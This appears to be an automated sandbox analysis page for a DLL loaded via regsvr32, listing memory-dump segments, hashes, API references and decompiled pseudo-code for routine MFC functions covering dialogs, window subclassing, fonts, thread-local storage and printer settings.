Associated: 00000002.00000002.303779838.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.303789852.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.303808490.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.303813956.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.303817812.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10000000_regsvr32.jbxd

Similarity

API ID: AddressProc$HandleModule
String ID: ActivateActCtx$CreateActCtxA$DeactivateActCtx$KERNEL32$ReleaseActCtx
API String ID: 667068680-3617302793
Opcode ID: 8958f846425cfb9847c1ef030b437731261e480fa3a980f3a7b160ae38ca1aab
Instruction ID: c20c66116e7296d4a0afd5037f2dffc74684b1862cb446d2da729e570b87d5d5
Opcode Fuzzy Hash: 8958f846425cfb9847c1ef030b437731261e480fa3a980f3a7b160ae38ca1aab
Instruction Fuzzy Hash: 3611C076C04266EBFB10DFA9ACC45097BE5E74F2D8301423FEA05A2124D7720980CF15

Uniqueness

Uniqueness Score: -1.00%

Function 1000CB74, Relevance: 16.6, APIs: 11, Instructions: 139
COMMON

Download Yara Rule

C-Code - Quality: 94%

			E1000CB74(void* __ebx, signed int __ecx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				signed int _t54;
				void* _t58;
				signed int _t59;
				signed int _t63;
				signed short _t71;
				signed int _t84;
				void* _t94;
				struct HINSTANCE__* _t96;
				signed int _t97;
				void* _t98;
				signed int _t100;
				void* _t101;
				void* _t102;

				_t102 = __eflags;
				_t94 = __edx;
				_push(0x24);
				E10017BF4(E10028029, __ebx, __edi, __esi);
				_t100 = __ecx;
				 *((intOrPtr*)(_t101 - 0x20)) = __ecx;
				 *(_t101 - 0x1c) =  *(__ecx + 0x60);
				 *(_t101 - 0x18) =  *(__ecx + 0x5c);
				_t54 = E1000D5EC(__ebx, __edi, __ecx, _t102);
				_t96 =  *(_t54 + 0xc);
				_t84 = 0;
				_t103 =  *(_t100 + 0x58);
				if( *(_t100 + 0x58) != 0) {
					_t96 =  *(E1000D5EC(0, _t96, _t100, _t103) + 0xc);
					_t54 = LoadResource(_t96, FindResourceA(_t96,  *(_t100 + 0x58), 5));
					 *(_t101 - 0x18) = _t54;
				}
				if( *(_t101 - 0x18) != _t84) {
					_t54 = LockResource( *(_t101 - 0x18));
					 *(_t101 - 0x1c) = _t54;
				}
				if( *(_t101 - 0x1c) != _t84) {
					_t86 = _t100;
					 *(_t101 - 0x14) = E1000C6AC(_t84, _t100, __eflags);
					E1000FC04(_t84, _t96, __eflags);
					 *(_t101 - 0x28) =  *(_t101 - 0x28) & _t84;
					__eflags =  *(_t101 - 0x14) - _t84;
					 *(_t101 - 0x2c) = _t84;
					 *(_t101 - 0x24) = _t84;
					if(__eflags != 0) {
						__eflags =  *(_t101 - 0x14) - GetDesktopWindow();
						if(__eflags != 0) {
							__eflags = IsWindowEnabled( *(_t101 - 0x14));
							if(__eflags != 0) {
								EnableWindow( *(_t101 - 0x14), 0);
								 *(_t101 - 0x2c) = 1;
								_t84 = E1000A7CE();
								__eflags = _t84;
								 *(_t101 - 0x24) = _t84;
								if(__eflags != 0) {
									_t86 = _t84;
									__eflags =  *((intOrPtr*)( *_t84 + 0x120))();
									if(__eflags != 0) {
										_t86 = _t84;
										__eflags = E100128F8(_t84);
										if(__eflags != 0) {
											_t86 = _t84;
											E10012913(_t84, 0);
											 *(_t101 - 0x28) = 1;
										}
									}
								}
							}
						}
					}
					 *(_t101 - 4) =  *(_t101 - 4) & 0x00000000;
					E100115DC(_t96, __eflags, _t100);
					_t58 = E1000FB5C(_t84, _t86, _t101,  *(_t101 - 0x14));
					_push(_t96);
					_push(_t58);
					_push( *(_t101 - 0x1c));
					_t59 = E1000C984(_t84, _t100, _t94, _t96, _t100, __eflags);
					_t97 = 0;
					__eflags = _t59;
					if(_t59 != 0) {
						__eflags =  *(_t100 + 0x3c) & 0x00000010;
						if(( *(_t100 + 0x3c) & 0x00000010) != 0) {
							_t98 = 4;
							_t71 = E10012862(_t100);
							__eflags = _t71 & 0x00000100;
							if((_t71 & 0x00000100) != 0) {
								_t98 = 5;
							}
							E1000F6F2(_t100, _t98);
							_t97 = 0;
							__eflags = 0;
						}
						__eflags =  *((intOrPtr*)(_t100 + 0x20)) - _t97;
						if( *((intOrPtr*)(_t100 + 0x20)) != _t97) {
							E1001297A(_t100, _t97, _t97, _t97, _t97, _t97, 0x97);
						}
					}
					 *(_t101 - 4) =  *(_t101 - 4) | 0xffffffff;
					__eflags =  *(_t101 - 0x28) - _t97;
					if( *(_t101 - 0x28) != _t97) {
						E10012913(_t84, 1);
					}
					__eflags =  *(_t101 - 0x2c) - _t97;
					if( *(_t101 - 0x2c) != _t97) {
						EnableWindow( *(_t101 - 0x14), 1);
					}
					__eflags =  *(_t101 - 0x14) - _t97;
					if(__eflags != 0) {
						__eflags = GetActiveWindow() -  *((intOrPtr*)(_t100 + 0x20));
						if(__eflags == 0) {
							SetActiveWindow( *(_t101 - 0x14));
						}
					}
					 *((intOrPtr*)( *_t100 + 0x60))();
					E1000C6E6(_t84, _t100, _t97, _t100, __eflags);
					__eflags =  *(_t100 + 0x58) - _t97;
					if( *(_t100 + 0x58) != _t97) {
						FreeResource( *(_t101 - 0x18));
					}
					_t63 =  *(_t100 + 0x44);
					goto L31;
				} else {
					_t63 = _t54 | 0xffffffff;
					L31:
					return E10017C60(_t63);
				}
			}

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APIs

__EH_prolog3_catch.LIBCMT ref: 1000CB7B
FindResourceA.KERNEL32(?,?,00000005), ref: 1000CBAE
LoadResource.KERNEL32(?,00000000), ref: 1000CBB6
LockResource.KERNEL32(?,00000024,100014EC,00000000,E6B5FF6D), ref: 1000CBC7
GetDesktopWindow.USER32 ref: 1000CBFA
IsWindowEnabled.USER32(?), ref: 1000CC08
EnableWindow.USER32(?,00000000), ref: 1000CC17

Part of subcall function 100128F8: IsWindowEnabled.USER32(?), ref: 10012901

Part of subcall function 10012913: EnableWindow.USER32(?,E6B5FF6D), ref: 10012920

EnableWindow.USER32(?,00000001), ref: 1000CCF3
GetActiveWindow.USER32 ref: 1000CCFE
SetActiveWindow.USER32(?,?,00000024,100014EC,00000000,E6B5FF6D), ref: 1000CD0C
FreeResource.KERNEL32(?,?,00000024,100014EC,00000000,E6B5FF6D), ref: 1000CD28

Memory Dump Source

Source File: 00000002.00000002.303760085.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.303755479.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.303779838.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.303789852.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.303808490.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.303813956.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.303817812.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10000000_regsvr32.jbxd

Similarity

API ID: Window$Resource$Enable$ActiveEnabled$DesktopFindFreeH_prolog3_catchLoadLock
String ID:
API String ID: 1509511306-0
Opcode ID: 79ae930f89578103c1460a1015ac81056dc0f6867cd803f5cb3b8be9090631d6
Instruction ID: 8f78f448105f665873ac1cd7b5fa33a3343bcf420d8a1ae80c8a79bff85a7528
Opcode Fuzzy Hash: 79ae930f89578103c1460a1015ac81056dc0f6867cd803f5cb3b8be9090631d6
Instruction Fuzzy Hash: A251BF34A007098BFF11DFA5C999EAEBBF1EF44781F20002EE506A6195CB759E41CF55

Uniqueness

Uniqueness Score: -1.00%

Function 10011245, Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 90
COMMON

Download Yara Rule

C-Code - Quality: 96%

			E10011245(void* __ebx, void* __ecx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				_Unknown_base(*)()* _t31;
				void* _t33;
				void* _t34;
				void* _t40;
				void* _t43;
				void* _t60;
				void* _t64;
				struct HWND__* _t66;
				CHAR* _t68;
				void* _t71;

				_t64 = __edx;
				_t60 = __ecx;
				_push(0x40);
				E10017BF4(E1002864B, __ebx, __edi, __esi);
				_t66 =  *(_t71 + 8);
				_t68 = "AfxOldWndProc423";
				_t31 = GetPropA(_t66, _t68);
				 *(_t71 - 0x14) =  *(_t71 - 0x14) & 0x00000000;
				 *(_t71 - 4) =  *(_t71 - 4) & 0x00000000;
				 *(_t71 - 0x18) = _t31;
				_t58 = 1;
				_t33 =  *(_t71 + 0xc) - 6;
				if(_t33 == 0) {
					_t34 = E1000FB5C(1, _t60, _t71,  *(_t71 + 0x14));
					E10011159(_t60, E1000FB5C(1, _t60, _t71, _t66),  *(_t71 + 0x10), _t34);
					goto L9;
				} else {
					_t40 = _t33 - 0x1a;
					if(_t40 == 0) {
						_t58 = 0 | E100111CF(1, _t66, E1000FB5C(1, _t60, _t71, _t66),  *(_t71 + 0x14),  *(_t71 + 0x14) >> 0x10) == 0x00000000;
						L9:
						if(_t58 != 0) {
							goto L10;
						}
					} else {
						_t43 = _t40 - 0x62;
						if(_t43 == 0) {
							SetWindowLongA(_t66, 0xfffffffc,  *(_t71 - 0x18));
							RemovePropA(_t66, _t68);
							GlobalDeleteAtom(GlobalFindAtomA(_t68));
							goto L10;
						} else {
							if(_t43 != 0x8e) {
								L10:
								 *(_t71 - 0x14) = CallWindowProcA( *(_t71 - 0x18), _t66,  *(_t71 + 0xc),  *(_t71 + 0x10),  *(_t71 + 0x14));
							} else {
								E1000E865(E1000FB5C(1, _t60, _t71, _t66), _t71 - 0x30, _t71 - 0x1c);
								 *(_t71 - 0x14) = CallWindowProcA( *(_t71 - 0x18), _t66, 0x110,  *(_t71 + 0x10),  *(_t71 + 0x14));
								E100100F3(1, _t64, _t49, _t71 - 0x30,  *((intOrPtr*)(_t71 - 0x1c)));
							}
						}
					}
				}
				return E10017C60( *(_t71 - 0x14));
			}

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APIs

__EH_prolog3_catch.LIBCMT ref: 1001124C
GetPropA.USER32 ref: 1001125B
CallWindowProcA.USER32 ref: 100112B5

Part of subcall function 100100F3: GetWindowRect.USER32 ref: 1001011B
Part of subcall function 100100F3: GetWindow.USER32(?,00000004), ref: 10010138

SetWindowLongA.USER32(?,000000FC,?), ref: 100112DC
RemovePropA.USER32 ref: 100112E4
GlobalFindAtomA.KERNEL32(AfxOldWndProc423), ref: 100112EB
GlobalDeleteAtom.KERNEL32 ref: 100112F2

Part of subcall function 1000E865: GetWindowRect.USER32 ref: 1000E871

CallWindowProcA.USER32 ref: 10011346

Strings

AfxOldWndProc423, xrefs: 10011254, 10011259, 100112E2, 100112EA

Memory Dump Source

Source File: 00000002.00000002.303760085.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.303755479.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.303779838.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.303789852.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.303808490.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.303813956.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.303817812.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10000000_regsvr32.jbxd

Similarity

API ID: Window$AtomCallGlobalProcPropRect$DeleteFindH_prolog3_catchLongRemove
String ID: AfxOldWndProc423
API String ID: 2702501687-1060338832
Opcode ID: 9ee1106b5f5d5336c81e687cb8c924b5e08a077892bd92312de1f56c1740729b
Instruction ID: 0d19250562dc5a9dad551a697ef26f9b08052b09a3581b526b6705a222a2b98b
Opcode Fuzzy Hash: 9ee1106b5f5d5336c81e687cb8c924b5e08a077892bd92312de1f56c1740729b
Instruction Fuzzy Hash: 2D317F7680021ABBDF05DFA0CD89EFF7FB9FF05651F100118F611A6051DB359A61ABA1

Uniqueness

Uniqueness Score: -1.00%

Function 1000C984, Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 158
COMMON

Download Yara Rule

C-Code - Quality: 97%

			E1000C984(void* __ebx, intOrPtr* __ecx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				signed int _t65;
				signed int _t72;
				signed int _t74;
				struct HWND__* _t75;
				signed int _t78;
				signed int _t95;
				intOrPtr* _t103;
				signed int _t110;
				void* _t124;
				signed int _t129;
				DLGTEMPLATE* _t130;
				struct HWND__* _t131;
				void* _t132;

				_t128 = __esi;
				_t124 = __edx;
				_t104 = __ecx;
				_push(0x3c);
				E10017BF4(E1002800E, __ebx, __edi, __esi);
				_t103 = __ecx;
				 *((intOrPtr*)(_t132 - 0x20)) = __ecx;
				_t136 =  *(_t132 + 0x10);
				if( *(_t132 + 0x10) == 0) {
					 *(_t132 + 0x10) =  *(E1000D5EC(__ecx, 0, __esi, _t136) + 0xc);
				}
				_t129 =  *(E1000D5EC(_t103, 0, _t128, _t136) + 0x3c);
				 *(_t132 - 0x28) = _t129;
				 *(_t132 - 0x14) = 0;
				 *(_t132 - 4) = 0;
				E10012406(_t103, _t104, 0, _t129, _t136, 0x10);
				E10012406(_t103, _t104, 0, _t129, _t136, 0x7c000);
				if(_t129 == 0) {
					_t130 =  *(_t132 + 8);
					L7:
					__eflags = _t130;
					if(_t130 == 0) {
						L4:
						_t65 = 0;
						L32:
						return E10017C60(_t65);
					}
					E10009E23(_t132 - 0x1c, E10013479());
					 *(_t132 - 4) = 1;
					 *((intOrPtr*)(_t132 - 0x18)) = 0;
					__eflags = E10014A97(__eflags, _t130, _t132 - 0x1c, _t132 - 0x18);
					__eflags =  *0x1005aa84; // 0x0
					_t72 = 0 | __eflags == 0x00000000;
					if(__eflags == 0) {
						L14:
						__eflags = _t72;
						if(__eflags == 0) {
							L17:
							 *(_t103 + 0x44) =  *(_t103 + 0x44) | 0xffffffff;
							 *(_t103 + 0x3c) =  *(_t103 + 0x3c) | 0x00000010;
							E100115DC(0, __eflags, _t103);
							_t74 =  *(_t132 + 0xc);
							__eflags = _t74;
							if(_t74 != 0) {
								_t75 =  *(_t74 + 0x20);
							} else {
								_t75 = 0;
							}
							_t131 = CreateDialogIndirectParamA( *(_t132 + 0x10), _t130, _t75, E1000C402, 0);
							E10009CB7( *((intOrPtr*)(_t132 - 0x1c)) + 0xfffffff0, _t124);
							 *(_t132 - 4) =  *(_t132 - 4) | 0xffffffff;
							_t110 =  *(_t132 - 0x28);
							__eflags = _t110;
							if(__eflags != 0) {
								 *((intOrPtr*)( *_t110 + 0x18))(_t132 - 0x48);
								__eflags = _t131;
								if(__eflags != 0) {
									 *((intOrPtr*)( *_t103 + 0x12c))(0);
								}
							}
							_t78 = E1000FC04(_t103, 0, __eflags);
							__eflags = _t78;
							if(_t78 == 0) {
								 *((intOrPtr*)( *_t103 + 0x114))();
							}
							__eflags = _t131;
							if(_t131 != 0) {
								__eflags =  *(_t103 + 0x3c) & 0x00000010;
								if(( *(_t103 + 0x3c) & 0x00000010) == 0) {
									DestroyWindow(_t131);
									_t131 = 0;
									__eflags = 0;
								}
							}
							__eflags =  *(_t132 - 0x14);
							if( *(_t132 - 0x14) != 0) {
								GlobalUnlock( *(_t132 - 0x14));
								GlobalFree( *(_t132 - 0x14));
							}
							__eflags = _t131;
							_t59 = _t131 != 0;
							__eflags = _t59;
							_t65 = 0 | _t59;
							goto L32;
						}
						L15:
						E10014A60(_t103, _t132 - 0x38, 0, _t132, _t130);
						 *(_t132 - 4) = 2;
						E100149BE(_t132 - 0x38,  *((intOrPtr*)(_t132 - 0x18)));
						 *(_t132 - 0x14) = E100146D7(_t132 - 0x38);
						 *(_t132 - 4) = 1;
						E100146C9(_t132 - 0x38);
						__eflags =  *(_t132 - 0x14);
						if(__eflags != 0) {
							_t130 = GlobalLock( *(_t132 - 0x14));
						}
						goto L17;
					}
					__eflags = _t72;
					if(_t72 != 0) {
						goto L15;
					}
					__eflags = GetSystemMetrics(0x2a);
					if(__eflags == 0) {
						goto L17;
					}
					_t95 = E1000C95C(_t132 - 0x1c, "MS Shell Dlg");
					__eflags = _t95;
					_t72 = 0 | _t95 == 0x00000000;
					__eflags = _t72;
					if(__eflags == 0) {
						goto L17;
					}
					__eflags =  *((short*)(_t132 - 0x18)) - 8;
					if( *((short*)(_t132 - 0x18)) == 8) {
						 *((intOrPtr*)(_t132 - 0x18)) = 0;
					}
					goto L14;
				}
				_push(_t132 - 0x48);
				if( *((intOrPtr*)( *_t103 + 0x12c))() != 0) {
					_t130 =  *((intOrPtr*)( *_t129 + 0x14))(_t132 - 0x48,  *(_t132 + 8));
					goto L7;
				}
				goto L4;
			}

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APIs

__EH_prolog3_catch.LIBCMT ref: 1000C98B
GetSystemMetrics.USER32 ref: 1000CA3C
GlobalLock.KERNEL32 ref: 1000CAA5
CreateDialogIndirectParamA.USER32(?,?,?,1000C402,00000000), ref: 1000CAD4

Strings

MS Shell Dlg, xrefs: 1000CA46

Memory Dump Source

Source File: 00000002.00000002.303760085.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.303755479.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.303779838.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.303789852.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.303808490.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.303813956.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.303817812.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10000000_regsvr32.jbxd

Similarity

API ID: CreateDialogGlobalH_prolog3_catchIndirectLockMetricsParamSystem
String ID: MS Shell Dlg
API String ID: 1736106359-76309092
Opcode ID: 0836612ccd89b939986456284b221daff64c2c444739792d891f2b66984f1eb5
Instruction ID: aca18bfbc2af702d8352a65e986f2fe47acd8ccb78c3dcc49b793ffb13d9be50
Opcode Fuzzy Hash: 0836612ccd89b939986456284b221daff64c2c444739792d891f2b66984f1eb5
Instruction Fuzzy Hash: AF51A031A0020D9FDB05DFA4C88ADEEBBB4EF45780F254559F442EB199DB349E81CB52

Uniqueness

Uniqueness Score: -1.00%

Function 100149BE, Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 63
COMMON

Download Yara Rule

C-Code - Quality: 95%

			E100149BE(intOrPtr __ecx, signed int _a4) {
				signed int _v8;
				char _v40;
				void _v68;
				intOrPtr _v72;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t12;
				void* _t14;
				char* _t23;
				void* _t29;
				signed short _t30;
				struct HDC__* _t31;
				signed int _t32;

				_t12 =  *0x10057a08; // 0xe6b5ff6d
				_v8 = _t12 ^ _t32;
				_t31 = GetStockObject;
				_t30 = 0xa;
				_v72 = __ecx;
				_t23 = "System";
				_t14 = GetStockObject(0x11);
				if(_t14 != 0) {
					L2:
					if(GetObjectA(_t14, 0x3c,  &_v68) != 0) {
						_t23 =  &_v40;
						_t31 = GetDC(0);
						if(_v68 < 0) {
							_v68 =  ~_v68;
						}
						_t30 = MulDiv(_v68, 0x48, GetDeviceCaps(_t31, 0x5a)) & 0x0000ffff;
						ReleaseDC(0, _t31);
					}
					L6:
					_t16 = _a4;
					if(_a4 == 0) {
						_t16 = _t30 & 0x0000ffff;
					}
					return E100167D5(E1001486F(_t23, _v72, _t29, _t31, _t23, _t16), _t23, _v8 ^ _t32, _t29, _t30, _t31);
				}
				_t14 = GetStockObject(0xd);
				if(_t14 == 0) {
					goto L6;
				}
				goto L2;
			}

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APIs

GetStockObject.GDI32(00000011), ref: 100149E4
GetStockObject.GDI32(0000000D), ref: 100149EC
GetObjectA.GDI32(00000000,0000003C,?), ref: 100149F9
GetDC.USER32(00000000), ref: 10014A08
GetDeviceCaps.GDI32(00000000,0000005A), ref: 10014A1C
MulDiv.KERNEL32(00000000,00000048,00000000), ref: 10014A28
ReleaseDC.USER32 ref: 10014A34

Strings

System, xrefs: 100149DF, 10014A49

Memory Dump Source

Source File: 00000002.00000002.303760085.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.303755479.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.303779838.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.303789852.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.303808490.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.303813956.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.303817812.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10000000_regsvr32.jbxd

Similarity

API ID: Object$Stock$CapsDeviceRelease
String ID: System
API String ID: 46613423-3470857405
Opcode ID: a6886f26645baa5a84af5b89923cd17d43b4ad3fa3ddc4ab300892a0af884a22
Instruction ID: a63e4a091ca1b7be2859df30e5517b7a4abcdff67d16382c886f5131b7cbdf71
Opcode Fuzzy Hash: a6886f26645baa5a84af5b89923cd17d43b4ad3fa3ddc4ab300892a0af884a22
Instruction Fuzzy Hash: 39118F71A40268EBEB10DBA1CC85FAE7BB8FF04781F420015FA02AA190DE709D46CB65

Uniqueness

Uniqueness Score: -1.00%

Function 10013C4D, Relevance: 13.6, APIs: 9, Instructions: 96
memoryCOMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 83%

			E10013C4D(void* __ebx, long* __ecx, void* __edi, void* __esi, void* __eflags) {
				void* _t36;
				void* _t39;
				long _t41;
				void* _t42;
				long _t47;
				void* _t53;
				signed int _t55;
				long* _t62;
				struct _CRITICAL_SECTION* _t64;
				void* _t65;
				void* _t66;

				_push(0x10);
				E10017BF4(E10028893, __ebx, __edi, __esi);
				_t62 = __ecx;
				 *((intOrPtr*)(_t66 - 0x18)) = __ecx;
				_t64 = __ecx + 0x1c;
				 *(_t66 - 0x14) = _t64;
				EnterCriticalSection(_t64);
				_t36 =  *(_t66 + 8);
				if(_t36 <= 0 || _t36 >= _t62[3]) {
					_push(_t64);
				} else {
					_t65 = TlsGetValue( *_t62);
					if(_t65 == 0) {
						 *(_t66 - 4) = 0;
						_t39 = E10013965(0x10);
						__eflags = _t39;
						if(__eflags == 0) {
							_t65 = 0;
							__eflags = 0;
						} else {
							 *_t39 = 0x1002b1d8;
							_t65 = _t39;
						}
						 *(_t66 - 4) =  *(_t66 - 4) | 0xffffffff;
						_t51 =  &(_t62[5]);
						 *(_t65 + 8) = 0;
						 *(_t65 + 0xc) = 0;
						E10013A82( &(_t62[5]), _t65);
						goto L5;
					} else {
						_t55 =  *(_t66 + 8);
						if(_t55 >=  *(_t65 + 8) &&  *((intOrPtr*)(_t66 + 0xc)) != 0) {
							L5:
							_t75 =  *(_t65 + 0xc);
							if( *(_t65 + 0xc) != 0) {
								_t41 = E100134F9(_t51, __eflags, _t62[3], 4);
								_t53 = 2;
								_t42 = LocalReAlloc( *(_t65 + 0xc), _t41, ??);
							} else {
								_t47 = E100134F9(_t51, _t75, _t62[3], 4);
								_pop(_t53);
								_t42 = LocalAlloc(0, _t47);
							}
							_t76 = _t42;
							if(_t42 == 0) {
								LeaveCriticalSection( *(_t66 - 0x14));
								_t42 = E1000A0A7(0, _t53, _t62, _t65, _t76);
							}
							 *(_t65 + 0xc) = _t42;
							E100174D0(_t62, _t42 +  *(_t65 + 8) * 4, 0, _t62[3] -  *(_t65 + 8) << 2);
							 *(_t65 + 8) = _t62[3];
							TlsSetValue( *_t62, _t65);
							_t55 =  *(_t66 + 8);
						}
					}
					_t36 =  *(_t65 + 0xc);
					if(_t36 != 0 && _t55 <  *(_t65 + 8)) {
						 *((intOrPtr*)(_t36 + _t55 * 4)) =  *((intOrPtr*)(_t66 + 0xc));
					}
					_push( *(_t66 - 0x14));
				}
				LeaveCriticalSection();
				return E10017C60(_t36);
			}

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APIs

__EH_prolog3_catch.LIBCMT ref: 10013C54
EnterCriticalSection.KERNEL32(?,00000010,10013E18,?,00000000,?,00000004,1000D5FB,1000A0F5,1000B1E7,?,1000B878,00000004,1000ADCB,00000004,10001441), ref: 10013C65
TlsGetValue.KERNEL32(?,?,00000000,?,00000004,1000D5FB,1000A0F5,1000B1E7,?,1000B878,00000004,1000ADCB,00000004,10001441,00000000), ref: 10013C83
LocalAlloc.KERNEL32(00000000,00000000,00000000,00000010,?,?,00000000,?,00000004,1000D5FB,1000A0F5,1000B1E7,?,1000B878,00000004,1000ADCB), ref: 10013CB7
LeaveCriticalSection.KERNEL32(?,?,?,00000000,?,00000004,1000D5FB,1000A0F5,1000B1E7,?,1000B878,00000004,1000ADCB,00000004,10001441,00000000), ref: 10013D23
_memset.LIBCMT ref: 10013D42
TlsSetValue.KERNEL32(?,00000000), ref: 10013D53
LeaveCriticalSection.KERNEL32(?,?,00000000,?,00000004,1000D5FB,1000A0F5,1000B1E7,?,1000B878,00000004,1000ADCB,00000004,10001441,00000000), ref: 10013D74

Memory Dump Source

Source File: 00000002.00000002.303760085.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.303755479.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.303779838.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.303789852.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.303808490.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.303813956.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.303817812.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10000000_regsvr32.jbxd

Similarity

API ID: CriticalSection$LeaveValue$AllocEnterH_prolog3_catchLocal_memset
String ID:
API String ID: 1891723912-0
Opcode ID: 98e6fda5490af90b613d29fe93ebf23f0a89dab0f12f059d821b20a9314a5678
Instruction ID: 361604de1dd3242a2b5db774f8c39e7d6c7c8771dcfb3c7945be7f3a81b5ec95
Opcode Fuzzy Hash: 98e6fda5490af90b613d29fe93ebf23f0a89dab0f12f059d821b20a9314a5678
Instruction Fuzzy Hash: 3F317C74500616AFDB20DF65E886C5EBBB5FF04350B21C529F95AAB661CB30ED90CB80

Uniqueness

Uniqueness Score: -1.00%

Function 1000A6E3, Relevance: 12.1, APIs: 8, Instructions: 65
memorystringCOMMON

Download Yara Rule

C-Code - Quality: 93%

			E1000A6E3(void* __ecx, char* _a4) {
				void* _v8;
				void* _t15;
				void* _t20;
				void* _t35;

				_push(__ecx);
				_t35 = __ecx;
				_t15 =  *(__ecx + 0x74);
				if(_t15 != 0) {
					_t15 = lstrcmpA(( *(GlobalLock(_t15) + 2) & 0x0000ffff) + _t16, _a4);
					if(_t15 == 0) {
						_t15 = OpenPrinterA(_a4,  &_v8, 0);
						if(_t15 != 0) {
							_t18 =  *(_t35 + 0x70);
							if( *(_t35 + 0x70) != 0) {
								E10014056(_t18);
							}
							_t20 = GlobalAlloc(0x42, DocumentPropertiesA(0, _v8, _a4, 0, 0, 0));
							 *(_t35 + 0x70) = _t20;
							if(DocumentPropertiesA(0, _v8, _a4, GlobalLock(_t20), 0, 2) != 1) {
								E10014056( *(_t35 + 0x70));
								 *(_t35 + 0x70) = 0;
							}
							_t15 = ClosePrinter(_v8);
						}
					}
				}
				return _t15;
			}

0x1000a6e6
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0x1000a77e

APIs

GlobalLock.KERNEL32 ref: 1000A700
lstrcmpA.KERNEL32(?,?), ref: 1000A70C
OpenPrinterA.WINSPOOL.DRV(?,?,00000000), ref: 1000A71E
DocumentPropertiesA.WINSPOOL.DRV(00000000,?,?,00000000,00000000,00000000,?,?,00000000), ref: 1000A73E
GlobalAlloc.KERNEL32(00000042,00000000,00000000,?,?,00000000,00000000,00000000,?,?,00000000), ref: 1000A746
GlobalLock.KERNEL32 ref: 1000A750
DocumentPropertiesA.WINSPOOL.DRV(00000000,?,?,00000000,00000000,00000002), ref: 1000A75D
ClosePrinter.WINSPOOL.DRV(?,00000000,?,?,00000000,00000000,00000002), ref: 1000A775

Part of subcall function 10014056: GlobalFlags.KERNEL32(?), ref: 10014061
Part of subcall function 10014056: GlobalUnlock.KERNEL32(?,?,?,1000A4C2,?,00000004,1000146F), ref: 10014073
Part of subcall function 10014056: GlobalFree.KERNEL32 ref: 1001407E

Memory Dump Source

Source File: 00000002.00000002.303760085.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.303755479.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.303779838.0000000010029000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.303789852.0000000010032000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.303808490.0000000010056000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.303813956.000000001005A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.303817812.000000001005D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10000000_regsvr32.jbxd

Similarity

API ID: Global$DocumentLockProperties$AllocCloseFlagsFreeOpenPrinterPrinter.Unlocklstrcmp
String ID:
API String ID: 168474834-0
Opcode ID: c5ddca194c607ea35f329f4eccdab628960a2426db6b20382c350f57d95b32d7
Instruction ID: f32a97280aef975bd063cd01cc2dace1ac46c13f829f9411547ae7bffa227ebc
Opcode Fuzzy Hash: c5ddca194c607ea35f329f4eccdab628960a2426db6b20382c350f57d95b32d7
Instruction Fuzzy Hash: ED11A075500600BBEB22CBBADC89DAF7AFDFB89B807104519F60AD5021DB31DD91DB20

Uniqueness

